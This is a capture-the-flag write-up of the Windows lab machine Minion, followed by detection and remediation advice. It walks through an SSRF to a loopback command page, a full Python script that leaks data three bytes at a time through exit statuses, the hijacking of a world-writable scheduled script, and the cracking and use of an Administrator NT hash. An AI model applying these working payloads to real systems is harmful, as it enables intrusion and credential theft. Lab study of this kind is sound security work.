HTB: Minion
An SSRF on a single high port reaches a loopback command page that returns only an exit status; that integer becomes a three-byte data channel, a world-writable scheduled script gives the user, and an NT hash hidden in an alternate data stream gives Administrator.
- Published
- Reading time
- 24 min
- Difficulty
- insane
- Target
- Windows (Minion)
Overview
Minion is an insane-rated Windows Server 2012 R2 machine with one reachable TCP port, an IIS site on 62696. A classic ASP page on that site fetches any URL it is given, and the loopback interface holds a second site with a page that runs shell commands and prints nothing but the exit status. The host firewall is default-deny outbound on every profile, which I read only after root.
I did not go looking for an egress path, and never tested one. A Windows exit
status is a 32-bit integer and the page prints it faithfully, so each request
can carry three bytes back. A 30-line Python script turns that into a file
reader, and the rest of the box is done through it: a scheduled script that
Everyone may rewrite gives code execution as decoder, an NT hash in an
alternate data stream on a backup in his Desktop cracks in under a second, and
the password is the local Administrator’s. The root flag is printed by a
binary that must be started as Administrator from its own folder, which
PowerShell remoting to localhost does.
User took 53 minutes and root 84, with no hints. Thirty-nine of those minutes were spent waiting on two payloads that never ran or never wrote. Both were my own mistakes and both are described where they happened.
Reconnaissance
The default scan of the top 1,000 ports found nothing; the full-range scan running beside it found the one port.
nmap -Pn -sC -sV -oN /work/scans/01-top1000.nmap 10.129.101.110
nmap -Pn -p- --min-rate 2000 -oN /work/scans/02-full.nmap 10.129.101.110
All 1000 scanned ports on 10.129.101.110 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
[...]
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
62696/tcp open unknown
Both blocks above are cut from the two scan outputs and joined; the [...]
marks the join.
nmap -Pn -sC -sV -p 62696 10.129.101.110; curl -si -m 20 http://10.129.101.110:62696/; curl -si -m 20 http://10.129.101.110:62696/robots.txt
PORT STATE SERVICE VERSION
62696/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/backend
[...]
User-agent: *
Disallow: /backend
The front page is a static fan-club page with a base64 comment that decodes to
the first three lines of Dante’s Inferno and carries no data. /backend/
answers Instance not running in 20 bytes and sets an ASPSESSIONID cookie,
so classic ASP is in play. Two wordlist runs, one at the root and one under
/backend, complete the picture:
ffuf -s -u http://10.129.101.110:62696/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .asp,.aspx,.txt -t 40 -mc 200,301,302,401,403 -o /work/scans/04-ffuf.csv -of csv
test.asp
.
robots.txt
backend
Test.asp
TEST.asp
Robots.txt
Backend
BackEnd
Three distinct names: test.asp, robots.txt and backend. The run under
/backend returned default.asp and its case variants only.
Attack Surface Analysis
test.asp: server-side request forgery (CWE-918)
test.asp names its own parameter when called bare:
### /test.asp
HTTP/1.1 200 OK
[...]
Content-Length: 41
Missing Parameter Url [u] in GET request!
The request with u=http://127.0.0.1/ went out in the same call, before I had
read that message; the name was a guess that the message then confirmed.
### /test.asp?u=http://127.0.0.1/
HTTP/1.1 200 OK
Cache-Control: private
Expires: Tue, 24 Nov 2026 06:22:03 GMT
Server: Microsoft-IIS/8.5
Set-Cookie: ASPSESSIONIDSCRSTSCS=MAAHMLICMMEJBANCCEKLCBEC; path=/
X-Powered-By: ASP.NET
Date: Tue, 24 Nov 2026 04:52:03 GMT
Content-Length: 323
<html>
<body>
<center>
<h1>Site Administration</h1>
<table border=1>
<tr><td><a href="">Edit Configuration</a>
<tr><td><a href="">Start/Stop Instance</a>
<tr><td><a href="">View Summary</a>
<tr><td><a href="">View Logs</a>
<tr><td><a href="http://127.0.0.1/cmd.aspx">system commands</a>
</table>
</body>
</html>
Port 80 is filtered from outside and answers on loopback: a second site whose
only working link is a page called cmd.aspx.
cmd.aspx: unauthenticated command execution (CWE-306, CWE-78)
curl -si -m 25 -G --data-urlencode 'u=http://127.0.0.1/cmd.aspx' http://10.129.101.110:62696/test.asp
[...]
<html>
<body>
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40> </form> </body> </html>
A POST form with one field. The fetcher makes GET requests only, so the field
was tried as a query parameter with three values in one call: whoami, a
command that does not exist as the control, and an empty value. Each request
was curl -s -m 25 -G --data-urlencode "u=http://127.0.0.1/cmd.aspx?xcmd=<value>" http://10.129.101.110:62696/test.asp.
The loop around it, which printed the ### xcmd= label before each request
and the [status ... bytes ...] line after it, was not saved; the template
above is all the log holds, so the labels and status lines below are the
driver’s and the rest is the page.
### xcmd=whoami
<html>
<body>
Exit Status=0
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40> </form> </body> </html>
[status 200 bytes 163]
### xcmd=nosuchcommand123
<html>
<body>
Exit Status=1
<form action="cmd.aspx" method=POST>
<p>Enter your shell command: <input type=text name=xcmd size=40> </form> </body> </html>
[status 200 bytes 163]
### xcmd=
[...]
[status 200 bytes 150]
The command runs, and the only thing that comes back is its exit status.
A scheduled script that Everyone may rewrite (CWE-732)
Found once the channel below was working: c:\sysadmscripts\c.ps1 carries
Everyone:(F) and is started every five minutes under another account.
A password hash in an alternate data stream (CWE-522, CWE-521)
A zip on the user’s Desktop has a second NTFS stream holding an NT hash of a password that is in rockyou.
Vulnerability Analysis
Both web pages were read as Administrator at the end of the session; they are
quoted here because they explain everything observed from outside.
C:\inetpub\public\test.asp:
<%
dim objHttp,strURL
if request("u") = "" then
response.write "Missing Parameter Url [u] in GET request!"
else
set objHttp = server.CreateObject("Msxml2.ServerXMLHTTP")
strURL = Request("u")
objHttp.open "GET", strURL, False
objHttp.Send
If objHttp.status = 200 Then
Response.Expires = 90
Response.ContentType = Request("mimeType")
Response.BinaryWrite objHttp.responseBody
set objHttp = Nothing
End If
end if
%>
No scheme, host or port check, and the body is written straight back. The
verb is fixed to GET, which would have protected a form that read its field
from the POST body alone. C:\inetpub\wwwroot\cmd.aspx does not:
<script runat="server">
Function RunCmd(command)
Dim res as integer
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c " + command
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
res=myProcess.ExitCode
myProcess.Close()
RunCmd= res
End Function
</script>
[...]
if request("xcmd") <> "" then
t=RunCmd(request("xcmd"))
response.write("Exit Status=" &t)
end if
request("xcmd") is the merged collection, so the query string is as good as
the form. Standard output is read into myString and thrown away; the author
returned ExitCode as a harmless progress indicator. It is an integer, 32
bits wide, and the caller chooses its value.
The loopback binding of Default Web Site is the only access control on the
page, and the fetcher on the public site is on the same host.
The firewall is the strongest control on the machine. Read after root, with a filter over the saved rule dump that keeps the profile policies and every enabled outbound allow rule (the output below is cut to the profile lines, the count by protocol and the rules that are not ICMPv6 or Network Discovery):
Domain Profile Settings:
State ON
Firewall Policy BlockInbound,BlockOutbound
Private Profile Settings:
State ON
Firewall Policy BlockInbound,BlockOutbound
Public Profile Settings:
State ON
Firewall Policy BlockInbound,BlockOutbound
== enabled outbound allow rules, by protocol
1 Protocol: 2
1 Protocol: 41
1 Protocol: ICMPv4
11 Protocol: ICMPv6
9 Protocol: TCP
11 Protocol: UDP
== their names
IEXPLORE.EXE Protocol: UDP RemotePort: Any
IEXPLORE.EXE Protocol: TCP RemotePort: Any
[...]
icmp_2 Protocol: ICMPv4
[...]
Core Networking - Dynamic Host Configuration Protocol (DHCP-Out) Protocol: UDP RemotePort: 67
Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out) Protocol: UDP RemotePort: 547
Core Networking - Teredo (UDP-Out) Protocol: UDP RemotePort: Any
Core Networking - IPHTTPS (TCP-Out) Protocol: TCP RemotePort: IPHTTPS
Core Networking - IPv6 (IPv6-Out) Protocol: 41
Core Networking - Group Policy (NP-Out) Protocol: TCP RemotePort: 445
Core Networking - Group Policy (TCP-Out) Protocol: TCP RemotePort: Any
Core Networking - DNS (UDP-Out) Protocol: UDP RemotePort: 53
Core Networking - Group Policy (LSASS-Out) Protocol: TCP RemotePort: Any
Outbound is default-deny on all three profiles, with 34 enabled allow rules.
All but one are the stock Core Networking and Network Discovery groups and two
Internet Explorer rules; the one the administrator added is icmp_2, ICMPv4
out. Which program or service each stock rule is tied to was not printed, so DNS
over UDP 53 or the Internet Explorer pair may be usable. I made no egress
attempt of any kind; what the firewall would have stopped is unmeasured.
Exploitation
Phase 1: an integer as a data channel (IIS APPPOOL\DefaultAppPool)
The script, mx.py, in full. run sends a command line, ps wraps a
PowerShell script in -enc, and read evaluates an expression on the box,
writes the result to a file in the app pool’s temp directory, returns its byte
count as the first exit status, then pulls the file back three bytes per
request.
#!/usr/bin/env python3
# Blind command channel for cmd.aspx behind test.asp: the page prints only "Exit Status=N".
# mx.py run '<cmd line>' -> exit status of a cmd line
# mx.py ps '<powershell script>' -> exit status of a script sent with -enc
# mx.py read '<powershell expr>' -> output of an expression, pulled three bytes per request through the exit status
import sys, re, base64, urllib.parse, urllib.request
T = 'http://10.129.101.110:62696/test.asp?u='
def run(cmd):
inner = 'http://127.0.0.1/cmd.aspx?xcmd=' + urllib.parse.quote(cmd, safe='')
url = T + urllib.parse.quote(inner, safe='')
if len(url) > 2000:
sys.exit('url too long: %d' % len(url))
body = urllib.request.urlopen(url, timeout=60).read().decode('latin1')
m = re.search(r'Exit Status=(-?\d+)', body)
return int(m.group(1)) if m else None
def ps(script):
return run('powershell -nop -enc ' + base64.b64encode(script.encode('utf-16le')).decode())
def read(expr):
f = "$env:TEMP+'\\mx.txt'"
n = ps("$o=(%s|out-string);[IO.File]::WriteAllText(%s,$o);exit [Text.Encoding]::UTF8.GetByteCount($o)" % (expr, f))
sys.stderr.write('[bytes %s]\n' % n)
out = bytearray()
for i in range(0, n or 0, 3):
v = ps("$b=[IO.File]::ReadAllBytes(%s)+0,0,0;exit $b[%d]+256*$b[%d]+65536*$b[%d]" % (f, i, i + 1, i + 2))
out += bytes([v & 255, (v >> 8) & 255, (v >> 16) & 255])
sys.stdout.write(out[:n].decode('utf-8', 'replace'))
if __name__ == '__main__':
mode, arg = sys.argv[1], sys.argv[2]
if mode == 'run': print('Exit Status=%s' % run(arg))
elif mode == 'ps': print('Exit Status=%s' % ps(arg))
else: read(arg)
The command is URL-encoded twice because it crosses two query strings, and a URL over 2,000 characters is refused on my side. Three bytes per request keeps the value under 2^24. Four known values went through first:
python3 -I artifacts/mx.py run 'cmd /c exit 55'
python3 -I artifacts/mx.py run 'powershell -nop -c exit 77'
python3 -I artifacts/mx.py ps 'exit 4242'
python3 -I artifacts/mx.py ps 'exit 16777215'
Exit Status=55
Exit Status=77
Exit Status=4242
Exit Status=16777215
The first read took about two minutes for 446 bytes:
python3 -I artifacts/mx.py read '&{whoami;hostname;$PSVersionTable.PSVersion.Major;"--users";(gci c:\users).Name;"--c";(gci c:\ -force).Name;"--inetpub";(gci c:\inetpub -ea 0).Name}'
iis apppool\defaultapppool
minion
4
--users
[...]
Administrator
Classic .NET AppPool
decoder.MINION
Public
--c
$Recycle.Bin
accesslogs
[...]
sysadmscripts
System Volume Information
temp
Users
Windows
[...]
--inetpub
custerr
history
logs
public
temp
wwwroot
Two local accounts, PowerShell 4, and three directories at the drive root that
Windows does not create. I did not run whoami /priv as the app pool at this
point or later, so an impersonation route from this service account to SYSTEM
was never examined. At under four bytes a second, list first and read only
what the listing justifies.
python3 -I artifacts/mx.py read '&{gci c:\sysadmscripts,c:\temp,c:\accesslogs -force -ea 0|%{$_.FullName+" "+$_.Length+" "+$_.LastWriteTime.ToString("s")};icacls c:\sysadmscripts\*}'
C:\sysadmscripts\c.ps1 284 2017-09-26T06:24:59
C:\sysadmscripts\del_logs.bat 263 2017-08-22T10:46:47
c:\sysadmscripts\c.ps1 NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Everyone:(F)
BUILTIN\Users:(F)
c:\sysadmscripts\del_logs.bat NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Everyone:(RX)
BUILTIN\Users:(RX)
Successfully processed 2 files; Failed processing 0 files
Phase 2: the scheduled script (decoder)
python3 -I artifacts/mx.py read '&{"== del_logs.bat";gc c:\sysadmscripts\del_logs.bat;"== c.ps1";gc c:\sysadmscripts\c.ps1}'
[bytes 576]
== del_logs.bat
@echo off
echo %DATE% %TIME% start job >> c:\windows\temp\log.txt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -exec bypass -nop -file c:\sysadmscripts\c.ps1 c:\accesslogs
echo %DATE% %TIME% stop job >> c:\windows\temp\log.txt
== c.ps1
$lifeTime=1; # days
foreach($arg in $args)
{
write-host $arg
dir $arg | where {!$_.psiscontainer} | foreach
{
if((get-date).subtract($_.LastWriteTime).Days -gt $lifeTime)
{
remove-item ($arg + '\' + $_) -force
}
}
}
[lr exit 0]
([lr exit 0], here and below, is printed by my logging wrapper, not the
target.) A batch file that something runs on a schedule, calling a script I may
overwrite. Neither the account nor the interval was known. c:\temp is
writable by Users, so the job can leave output there for the app pool.
The first change backed the script up and appended a beacon line
(15-append.ps1, sent with python3 -I artifacts/mx.py ps "$(cat artifacts/15-append.ps1)"):
copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
add-content c:\sysadmscripts\c.ps1 ("`r`n"+'(get-date -f s)+" "+(whoami)>>c:\temp\b.txt;gci -r -force $env:USERPROFILE -ea 0|%{$_.FullName+" "+$_.Length}>c:\temp\h.txt')
exit (gi c:\sysadmscripts\c.ps1).Length
It returned 411, the new length, and a poller (16-wait.py) then asked every
20 seconds whether b.txt existed:
import sys, time
sys.path.insert(0, 'artifacts')
import mx
t0 = time.time()
while time.time() - t0 < 1500:
n = mx.ps("if(test-path c:\\temp\\b.txt){exit (gi c:\\temp\\b.txt).Length}else{exit 0}")
print('%4ds b.txt length %s' % (time.time() - t0, n), flush=True)
if n and n > 0:
sys.exit(0)
time.sleep(20)
sys.exit(124)
Eighteen minutes passed with nothing: the first dead end. The cause was in
the listing above. The original script puts the foreach block on the line
after the pipe, PowerShell reads that as ForEach-Object with no -Process
argument, and under -file without -NonInteractive it prompts and waits.
Nothing after that line is reached. The fix was to rebuild the file from the
backup with the beacon first (17-prepend.ps1):
$l='(get-date -f s)+" "+(whoami)>>c:\temp\b.txt;gci -r -force $env:USERPROFILE -ea 0|%{$_.FullName+" "+$_.Length}>c:\temp\h.txt'
set-content c:\sysadmscripts\c.ps1 (@($l)+(gc c:\temp\c.ps1.bak))
exit (gi c:\sysadmscripts\c.ps1).Length*100+(gps powershell).Count
Exit Status=40909
Length 409 and nine PowerShell processes, one of them mine. The poller, still running, caught the next firing:
2s b.txt length 0
25s b.txt length 0
[...]
1326s b.txt length 0
1349s b.txt length 74
python3 -I artifacts/mx.py read '&{gc c:\temp\b.txt;"h.txt bytes "+(gi c:\temp\h.txt).Length;"now "+(get-date -f s)}'
[bytes 81]
2026-11-23T21:26:16 minion\decoder
h.txt bytes 219024
now 2026-11-23T21:26:36
[lr exit 0]
The job runs as decoder. His profile listing is 219 KB, about 16 hours for the
channel, so it was filtered on the box before being read:
python3 -I artifacts/mx.py read '&{$h=gc c:\temp\h.txt;"lines "+$h.Count;$h|?{$_ -notmatch "AppData|NTUSER|ntuser"}}'
[bytes 1985]
lines 752
[...]
C:\Users\decoder.MINION\Desktop\backup.zip 103297
C:\Users\decoder.MINION\Desktop\desktop.ini 282
C:\Users\decoder.MINION\Desktop\user.txt 33
[...]
The second payload (20-stage2.ps1) had the job copy the flag out, list the
NTFS streams on the Desktop files and name the zip’s entries, since 103 KB of
zip was not coming through three bytes at a time:
$l='$d="$env:USERPROFILE\Desktop";copy $d\user.txt c:\temp\u.txt;gi $d\* -stream *|%{$_.FileName+" "+$_.Stream+" "+$_.Length}>c:\temp\s.txt;whoami /all>c:\temp\w.txt;Add-Type -A System.IO.Compression.FileSystem;[IO.Compression.ZipFile]::OpenRead("$d\backup.zip").Entries|%{$_.FullName+" "+$_.Length}>c:\temp\z.txt'
del c:\temp\b.txt,c:\temp\h.txt
set-content c:\sysadmscripts\c.ps1 (@($l)+(gc c:\temp\c.ps1.bak))
exit (gi c:\sysadmscripts\c.ps1).Length
It fired 48 seconds later.
python3 -I artifacts/mx.py read '&{"== streams";gc c:\temp\s.txt;"== zip";gc c:\temp\z.txt;"== privs";gc c:\temp\w.txt|?{$_ -match "Privilege|S-1-5-21|Mandatory"}}'
[bytes 211]
== streams
C:\Users\decoder.MINION\Desktop\backup.zip :$DATA 103297
C:\Users\decoder.MINION\Desktop\backup.zip pass 34
C:\Users\decoder.MINION\Desktop\user.txt :$DATA 33
== zip
secret.exe 386130
== privs
[lr exit 0]
The user flag came back with
python3 -I artifacts/mx.py read '(gc c:\temp\u.txt)' | tr -d '\r\n ' > artifacts/user.txt.
The privs filter matched nothing because w.txt was never written, for the
reason found in the next phase.
backup.zip has a stream named pass, 34 bytes: 32 characters and a line
ending. A directory listing shows the size of the unnamed stream only, so one
unexplained archive on a Desktop is worth a -stream *.
Phase 3: the stream that would not copy, then Administrator
The third payload (23-stage3.ps1) asked the job for the stream:
$l='$d="$env:USERPROFILE\Desktop";gc "$d\backup.zip" -stream pass>c:\temp\p.txt;whoami /priv>c:\temp\w2.txt;whoami /groups>>c:\temp\w2.txt'
del c:\temp\z.txt,c:\temp\s.txt,c:\temp\u.txt,c:\temp\w.txt
set-content c:\sysadmscripts\c.ps1 (@($l)+(gc c:\temp\c.ps1.bak))
exit (gi c:\sysadmscripts\c.ps1).Length
Nothing appeared in c:\temp for 21 minutes: the second dead end. A status
read in the middle reported a single PowerShell process, which I took to mean
the job had stopped firing. It had not. That read printed each process with
its StartTime, which throws for a process owned by another user, so every
job process dropped out of the output. WMI gives the creation time without
that restriction:
python3 -I artifacts/mx.py read '&{try{gwmi win32_process -ea stop|?{$_.Name -eq "powershell.exe"}|%{""+$_.ProcessId+" "+$_.CreationDate.Substring(8,6)}}catch{"wmi: "+$_.Exception.Message};"now "+(get-date -f HHmmss)}'
[bytes 178]
1908 210116
2536 210616
2208 211117
2928 211616
1564 212116
672 212616
2220 213116
2360 213616
376 214116
2404 214616
552 215116
2988 215616
2644 215910
now 215912
[lr exit 0]
One run every five minutes at sixteen seconds past, each still alive, hung on
the foreach prompt described above; the last line is the channel’s own
process. Four of those runs executed the stage-three line and wrote neither
file. I did not know why at the time and replaced the line
(30-stage4.ps1) with an instrumented one: one script block, every stream
redirected to one file, the error list at the end, two ways of reading the
stream, and an exit so the run does not join the queue of hung processes.
The cause was found after the box was stopped, and it is mine. In stage three
every redirect is glued to the word before it: pass>c:\temp\p.txt,
/priv>c:\temp\w2.txt, /groups>>c:\temp\w2.txt, and in stage two
/all>c:\temp\w.txt. PowerShell does not end a bare argument at >. Parsed
offline in PowerShell 7.4.2 (not the target’s version 4, so this is a strong
indication and not a reproduction), each of those is one argument and the
command has no redirection at all:
7.4.2
whoami /all>c:\temp\w.txt | redirections=0 target= | args: [whoami] [/all>c:\temp\w.txt]
gc "$d\backup.zip" -stream pass>c:\temp\p.txt | redirections=0 target= | args: [gc] ["$d\backup.zip"] [-stream] [pass>c:\temp\p.txt]
whoami /priv>c:\temp\w2.txt | redirections=0 target= | args: [whoami] [/priv>c:\temp\w2.txt]
whoami /groups>>c:\temp\w2.txt | redirections=0 target= | args: [whoami] [/groups>>c:\temp\w2.txt]
whoami /priv >c:\temp\w2.txt | redirections=1 target=c:\temp\w2.txt | args: [whoami] [/priv]
gc x -stream pass;whoami /priv | redirections=0 target= | args: [gc] [x] [-stream] [pass]
That is the output of 42-parse.ps1, which feeds each line to
[Management.Automation.Language.Parser]::ParseInput and prints the
redirection count and the command’s elements. gc was asked for a stream
called pass>c:\temp\p.txt and whoami for a switch it does not have. The
redirects that worked in the earlier payloads all follow ) or a closing
brace, and the one in stage four follows a space.
$l='&{"t "+(get-date -f s);$d="$env:USERPROFILE\Desktop";gc "$d\backup.zip" -stream pass;cmd /c "more<$d\backup.zip:pass";whoami /priv;$error} *>c:\temp\o.txt;exit'
set-content c:\sysadmscripts\c.ps1 (@($l)+(gc c:\temp\c.ps1.bak))
exit (gi c:\sysadmscripts\c.ps1).Length
python3 -I artifacts/mx.py read '(gc c:\temp\o.txt)'
[bytes 427]
t 2026-11-23T22:01:16
28a5d1e0[...] (NT hash, 32 hex characters, cut here)
28a5d1e0[...] (NT hash, 32 hex characters, cut here)
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
[lr exit 0]
decoder has no privilege worth a token attack (the app pool identity was not
checked, as noted in Phase 1), so the 32 hex characters are the way on. The third line of that output was saved to pass.hash with
sed -n 3p artifacts/32-o.out | tr -d '\r\n ' > artifacts/pass.hash and tried
as both formats that fit the length:
cd ../..; bin/kali minion "ls /usr/share/wordlists/ | head; for f in NT Raw-MD5; do john --format=\$f --wordlist=/usr/share/wordlists/rockyou.txt --pot=/work/artifacts/john-\$f.pot /work/artifacts/pass.hash 2>&1 | tail -6; done"
[...]
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
1234test (?)
1g 0:00:00:00 DONE (2026-11-24 06:03) 6.667g/s 7457Kp/s 7457Kc/s 7457KC/s 1234ty..1234567ds
[...]
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX-512 16x3])
[...]
0g 0:00:00:00 DONE (2026-11-24 06:03) 0g/s 26561Kp/s 26561Kc/s 26561KC/s fuckyooh21..*7¡Vamos!
Session completed
An NT hash of 1234test. No account is named beside it, and the box has one
other local account. Nothing but 62696 is reachable from outside, so the test
ran on the box: net use against the loopback admin share, a wrong password
first as the control, then a listing of the Desktop (34-admin.ps1, run with
python3 -I artifacts/mx.py read "$(cat artifacts/34-admin.ps1)"):
&{net use \\127.0.0.1\c$ /user:minion\administrator wrongpass1 2>&1;"rc-control $LASTEXITCODE";net use \\127.0.0.1\c$ /user:minion\administrator 1234test 2>&1;"rc $LASTEXITCODE";gci -force \\127.0.0.1\c$\users\administrator\desktop|%{$_.Name+" "+$_.Length};gi \\127.0.0.1\c$\users\administrator\desktop\* -stream * -ea 0|%{$_.FileName+" "+$_.Stream+" "+$_.Length}}
[bytes 677]
net : System error 86 has occurred.
[...]
The specified network password is not correct.
rc-control 2
The command completed successfully.
rc 0
desktop.ini 282
root.exe 386479
root.txt 76
\\127.0.0.1\c$\users\administrator\desktop\root.exe :$DATA 386479
\\127.0.0.1\c$\users\administrator\desktop\root.txt :$DATA 76
[lr exit 0]
root.txt is 76 bytes, too long for a flag. Read over the share it is a note
whose last words are you have to launch root.exe located in this folder!.
A share gives files, not a process, so PowerShell remoting to localhost with
explicit credentials supplies the logon and the directory (36-icm.ps1):
&{$c=New-Object Management.Automation.PSCredential('minion\administrator',(ConvertTo-SecureString '1234test' -AsPlainText -Force));icm -ComputerName localhost -Credential $c -ScriptBlock{whoami;cd $env:USERPROFILE\Desktop;(pwd).Path;.\root.exe} 2>&1}
python3 -I artifacts/mx.py read "$(cat artifacts/36-icm.ps1)" > artifacts/root-exe.raw; grep -cE "^[0-9a-f]{32}\s*$" artifacts/root-exe.raw; sed -E "s/[0-9a-f]{32}/<32 hex>/g" artifacts/root-exe.raw
[bytes 88]
1
minion\administrator
C:\Users\Administrator\Desktop
<32 hex>
[lr exit 0]
Post-Exploitation
As Administrator, anything written into a web root can be fetched over the
open port. 38-evidence.ps1 used the same remoting call to write the IIS
sites, the scheduled tasks, every .asp, .aspx and web.config under
c:\inetpub and the firewall rules to x9.txt in both roots; 296,704 bytes
came back in one request. The source and firewall excerpts above are from
that file. The task line:
"MINION","\delete_logs","11/23/2026 10:11:16 PM","Running","Interactive/Background","11/23/2026 10:06:16 PM","0","WIN-2RTO3C7989S\Administrator","C:\sysadmscripts\del_logs.bat ","N/A","N/A","Enabled","Disabled","","decoder","Disabled","01:00:00",[...],"Daily ","4:36:16 PM","8/10/2017","N/A","Every 1 day(s)","N/A","0 Hour(s), 5 Minute(s)","None","24 Hour(s), 0 Minute(s)","Disabled"
Run as decoder, repeat every five minutes, stop after one hour. That last
field matches the process list: twelve hung runs, the oldest 58 minutes old.
Before stopping the machine, c.ps1 was restored from the backup and the
staging files and the share mapping were removed; the check returned 2840,
length 284 and an empty c:\temp. I did not extract secret.exe from the zip
or look inside root.exe.
Defensive Analysis
None of the detections below were tested on the box; each names the record I would expect and the check that would confirm it.
- The fetcher: if request logging is on, the IIS log of the public site (site
id 2 in the
appcmd list siteoutput read after root) holds everytest.asprequest withu=http://127.0.0.1/...in the query string, and a rule oncs-uri-querycontaining a loopback or private address is enough. I did not read the logging configuration or any log.c:\inetpub\logsexists in the first listing;c:\accesslogs, the directory the scheduled job prunes, listed nothing 46 minutes and several hundred requests into the session, so it is not where requests were going. Check:appcmd list site /configfor thelogFileelement of each site. - The channel is loud. Each read of 446 bytes was about 150 requests, and
every one started
cmd.exeand thenpowershell.exe -nop -encas a child ofw3wp.exe. Process creation auditing (event 4688 with command line, or Sysmon event 1) on “w3wp spawns a shell” fires on the first request. - The script change: a SACL on
c:\sysadmscriptsfor write access by anyone but Administrators produces event 4663 naming the app pool identity. - Administrator: event 4625 for the control and 4624 type 3 from
127.0.0.1for the share, then a WinRM logon andwsmprovhost.exestarting under Administrator on a machine where nobody uses remoting.
Remediation
Not applied on the box; each item names how to verify it.
- Remove
test.asp. If a fetcher is needed, resolve the host first and refuse loopback, link-local and private ranges, allow onlyhttpandhttpson expected ports, and do not follow redirects. Verify with theu=http://127.0.0.1/request above returning an error. - Remove
cmd.aspx. An administration page that runs shell commands needs authentication of its own; a loopback binding stops being a control the moment anything else on the host makes HTTP requests on a visitor’s behalf. icacls c:\sysadmscripts\c.ps1 /inheritance:r /grant:r SYSTEM:F Administrators:F decoder:RX, and the same on the directory. Verify with theicaclsread in Phase 1.- Fix the script so that the block follows
foreachon the same line, and add-NonInteractiveto the batch file so that a prompt fails and does not wait. - Delete the
passstream, change the Administrator password to one that is not in a wordlist, and do not keep hashes of live passwords in files.Get-Item -Stream *across user profiles finds the others. - Keep the outbound default-deny, remove the two Internet Explorer rules, and narrow the ICMP rule to echo replies if nothing needs more.
- Disable WinRM where it is not used. A source-address restriction on the listener does nothing here, since the connection came from the box itself. This removes one way of using the password, not the password; item 5 does that.
Key Takeaways
- A blind primitive that returns any attacker-controlled value is a read primitive. Here it was an exit status; a response time, a content length or a status code will do the same job more slowly. Check how wide the value is before looking for a way out of the network.
- Read the script before appending to it. The original was broken in a way that made everything after line 13 unreachable, and 18 minutes went on waiting for a line that could not run.
- Instrument the first payload sent to a job you cannot watch, not the third:
one block, all streams to one file, the error list included. And put a space
before every
>in PowerShell;pass>fileis an argument, not a redirect.